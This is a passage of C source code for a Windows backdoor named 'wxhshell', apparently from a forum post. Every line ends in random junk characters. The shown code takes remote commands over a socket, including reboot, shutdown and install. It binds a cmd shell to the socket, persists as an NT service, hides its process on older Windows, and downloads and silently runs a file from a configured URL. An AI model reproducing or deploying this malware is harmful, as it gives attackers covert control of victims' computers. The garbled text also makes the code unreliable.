  } Jw)JV~/0  
  else { PDNl]?  
R9J!}az'  
    switch(cmd[0]) { ZpTDM1ro  
  o!a,r3  
  // 帮助 ':*H#}Br-#  
  case '?': { i8]EIXbMX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gabfb#  
    break; 8z=# 0+0  
  } tsXKhS;/w  
  // 安装 + G@N  
  case 'i': { zl0{lV  
    if(Install()) Ak'=l;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _imuyt".+  
    else { bj!]j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #<{v~sVp&  
    break; MIMC(<   
    } X/5m}-6d]  
  // 卸载 `#""JTA"  
  case 'r': {  RD$:.   
    if(Uninstall()) %OQdUH4x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X9x`i  
    else W06aj ~7Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?cU,%<r  
    break; |]\zlH"w  
    } fY<#KM6X  
  // 显示 wxhshell 所在路径 AwM`[`ReE  
  case 'p': { c-w #`  
    char svExeFile[MAX_PATH]; <BR^Dv07U  
    strcpy(svExeFile,"\n\r"); .. `I <2  
      strcat(svExeFile,ExeFile); #M-!/E  
        send(wsh,svExeFile,strlen(svExeFile),0); SUS=sR/N  
    break; fG0?"x@>  
    } gZ@+62  
  // 重启 5EYGA\  
  case 'b': { .9~j%] q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,H=k5WA4m  
    if(Boot(REBOOT)) !KHgHKEW^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uibmQ|AQ  
    else { XKp&GE@Y  
    closesocket(wsh); .j}]J:{%  
    ExitThread(0); o[Iu9.zJpy  
    } f{BF%;  
    break; ImXYI7PL  
    } wQxI({k@  
  // 关机 ">V1II 7  
  case 'd': { >|f"EK}m!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l\<.*6r  
    if(Boot(SHUTDOWN)) fO<40!%9cQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @16GF!.  
    else { rN0<y4)!  
    closesocket(wsh); sJ6.3= c  
    ExitThread(0); F8pA)!AH  
    } =uP? ?E  
    break; t"=5MaQk-  
    } B[b>T=  
  // 获取shell +kSu{Tc  
  case 's': { (_FU3ZW!  
    CmdShell(wsh); O( ^h_  
    closesocket(wsh); rT2Njy1  
    ExitThread(0); xo>0j#  
    break; Ho &Q }<(  
  } ,!orD1,'  
  // 退出 h}O tz "  
  case 'x': { `/O`%6,f1!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6tKrR{3#A  
    CloseIt(wsh); QLqtE;;)JK  
    break; ?=1eHnP!R  
    } qb>ULP0  
  // 离开 nFnM9 pdMK  
  case 'q': { ;;0'BdsL`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |UTajEL  
    closesocket(wsh); o1AbB?%=  
    WSACleanup(); l=DF)#>w  
    exit(1); AtQ.H-8r  
    break; $*q|}Tvl#  
        } :ld~9  
  } {'b;lA]0  
  } 5m8u:6kQu  
)/RG-L  
  // 提示信息 4'QX1p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uw;Sfx,s  
} VF`!ks  
  } fyQOF ItM  
(b25g!  
  return; sN41Bz$q.  
} y4-kuMYR  
B;k'J:-"  
// shell模块句柄 Q'OtXs 80  
int CmdShell(SOCKET sock) EBy7wU`S  
{ $1yy;IyR  
STARTUPINFO si; G6p gG+w  
ZeroMemory(&si,sizeof(si)); e=i X]%^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >wW{ $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~P3b5 -  
PROCESS_INFORMATION ProcessInfo; BH:A]#_{  
char cmdline[]="cmd"; (`(D $%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J[ZHAnmPH  
  return 0; :nx+(xgw  
} L FWp}#%  
lV\iYX2#  
// 自身启动模式 1K Vit{  
int StartFromService(void) JduO^Fit  
{ J"aw 1  
typedef struct ZHTi4JY  
{ 1T!o`*  
  DWORD ExitStatus; A \/~u"Y  
  DWORD PebBaseAddress; A@V$~&JCL5  
  DWORD AffinityMask; g,,wG k  
  DWORD BasePriority; ?fxM 1<8  
  ULONG UniqueProcessId; 0'o[ 2,  
  ULONG InheritedFromUniqueProcessId; <h -)zI  
}   PROCESS_BASIC_INFORMATION; ZJDV'mC}  
q`xc h[H  
PROCNTQSIP NtQueryInformationProcess; v>8.TE~2  
{4g';  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3x~7N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P~a@{n*8  
Q(& @ra!{  
  HANDLE             hProcess; Ark]>4x>  
  PROCESS_BASIC_INFORMATION pbi; qPDNDkjDD  
Xb"i/gfxt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eoiz]L  
  if(NULL == hInst ) return 0; 5,Fq:j)MxW  
+[76_EXy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]IV{;{E)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x}/jh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C.?^] Y  
n ]g"H  
  if (!NtQueryInformationProcess) return 0; $8\u  
"xlR>M6e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vl:~&I&y;R  
  if(!hProcess) return 0; 9]eG |LFD  
7O55mc>cF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gmVN(K}SR5  
OBWb0t5H?  
  CloseHandle(hProcess); T AG@Ab  
JwI99I'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #D9.A7fCc5  
if(hProcess==NULL) return 0; M'%4BOpI6`  
2M x\D  
HMODULE hMod; #Th)^Is  
char procName[255]; Sr \y1nt  
unsigned long cbNeeded; _Q+c'q Zkl  
k A3K   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F\eQV<  
|enLv12Gm  
  CloseHandle(hProcess); m!ZY]:)$  
t?"(Zb  
if(strstr(procName,"services")) return 1; // 以服务启动 0OO[@Ht  
bTJ<8q  
  return 0; // 注册表启动 |%|03}Q  
} F^GNOD3J  
v~ SM"ky#  
// 主模块 NgTB4I 8P  
int StartWxhshell(LPSTR lpCmdLine) Y"lEMY  
{ ps'_Y<@  
  SOCKET wsl; xt|^~~ /  
BOOL val=TRUE; `df!-\#  
  int port=0; 3CD#OCz7&  
  struct sockaddr_in door; u\ _yjv#  
e|oMbTZ5m  
  if(wscfg.ws_autoins) Install(); {D[6=\ F  
k9%o{Uzy  
port=atoi(lpCmdLine); t`B@01;8A  
T +vo)9w  
if(port<=0) port=wscfg.ws_port; x'g4DYl  
-J3~j kf  
  WSADATA data; *H!BThft4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'LMj.#A<g  
rfk{$g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q yw@ r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y#}qXXZ>]  
  door.sin_family = AF_INET; i D9 */  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]In7%Qb  
  door.sin_port = htons(port); [mzed{p]]  
KO "/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R=~%kt_n  
closesocket(wsl); y"yo\IDW  
return 1; 1)k+v17]f5  
} m[eqTh4*  
-6+7&.A+  
  if(listen(wsl,2) == INVALID_SOCKET) { x`g,>>&C  
closesocket(wsl); $z[S0Cm  
return 1; +(2$YJ35  
} 'i%r  
  Wxhshell(wsl); OjhX:{"59  
  WSACleanup(); t+a.,$U  
^i|R6oO_5  
return 0;  %W~w\mT  
SV o?o|<  
} x/?ET1iGt  
36Lkcda[  
// 以NT服务方式启动 q;,lv3I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,<IomA:q4  
{ Nf([JP% 4  
DWORD   status = 0; 0Fb ];:a  
  DWORD   specificError = 0xfffffff; 9)7$UQY  
AJ%E.+@=r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " AUSgVE+h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u9~5U9]O%6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p{5m5x  
  serviceStatus.dwWin32ExitCode     = 0; t8-P'3,Q$  
  serviceStatus.dwServiceSpecificExitCode = 0; S46aUkW.  
  serviceStatus.dwCheckPoint       = 0; O[VY|.MEk  
  serviceStatus.dwWaitHint       = 0; O &<p 8  
]L~NYe9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {_N9<i{T  
  if (hServiceStatusHandle==0) return; %)7t2D  
HaVhdv3L  
status = GetLastError(); jMn,N9Mf  
  if (status!=NO_ERROR) o6vnl  
{ Dy.i^`7\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N" L&Z4Z  
    serviceStatus.dwCheckPoint       = 0; l$&~(YE f  
    serviceStatus.dwWaitHint       = 0; %g@?.YxjT  
    serviceStatus.dwWin32ExitCode     = status; 7 0?iZIK _  
    serviceStatus.dwServiceSpecificExitCode = specificError; WnG 2\(U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qm$(_]R~`  
    return; $A?9U}V#^  
  } ,jRAVt +{N  
nsI+04[F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mw0>p5+ cy  
  serviceStatus.dwCheckPoint       = 0; o*)Sg6Yk  
  serviceStatus.dwWaitHint       = 0; yn mjIQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {V/>5pz4e  
} \Wfw\x0.  
[uU!\xe  
// 处理NT服务事件,比如:启动、停止 AY5iTbL1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y5tyFi#w[  
{ ai-s9r'MI?  
switch(fdwControl) [eD0L7 1[  
{ [XY%<P3D  
case SERVICE_CONTROL_STOP: J- S.m(  
  serviceStatus.dwWin32ExitCode = 0; ;(?tlFc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dsm1@/"i|7  
  serviceStatus.dwCheckPoint   = 0; ] :;x,$k  
  serviceStatus.dwWaitHint     = 0; K ~mUO  
  { aG]>{(~cL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qA GjR!=^  
  } ]P3m=/w  
  return; 12lX-~[["  
case SERVICE_CONTROL_PAUSE: MoFM'a9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (|BY<Ac3  
  break; Ip'tB4Mq  
case SERVICE_CONTROL_CONTINUE: ]i#p2?BR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h&i*=&<HP6  
  break; yIL=jzm`7  
case SERVICE_CONTROL_INTERROGATE: cuN]}=D  
  break; *U^Y@""a  
}; j4owo#OB-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,*iA38d.!  
} bq E'9GI  
}>h n  
// 标准应用程序主函数 nq{/fD(2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dO8 2T3T  
{ LJ[zF~4#  
B)Y[~4o  
// 获取操作系统版本 MOD&3>NI  
OsIsNt=GetOsVer(); =3X>Ur  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M<Wi:r:  
9;#RzelSp  
  // 从命令行安装 AI2XNSV@Yl  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,Iyc0  
.j:,WF<"l5  
  // 下载执行文件 FPYk`D  
if(wscfg.ws_downexe) { tkctwjD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Q3>w-h  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~W21%T+  
} - UkK$wP5  
c;kU|_  
if(!OsIsNt) { m,Y/ke\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZK]qQrIwy  
HideProc(); {J==y;dK  
StartWxhshell(lpCmdLine); Bg]VaTm[=  
} Ow4_0l&  
else -LiGO#U  
  if(StartFromService()) Jb"FY:/Qv+  
  // 以服务方式启动 R@K\   
  StartServiceCtrlDispatcher(DispatchTable); D<J'\mo  
else <gwRE{6U  
  // 普通方式启动 Q|)>9m!tt  
  StartWxhshell(lpCmdLine); %NQ%6 B  
'o IE:#b  
return 0; bX$z)]KKu  
}
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只看该作者 1 发表于: 2006-10-10
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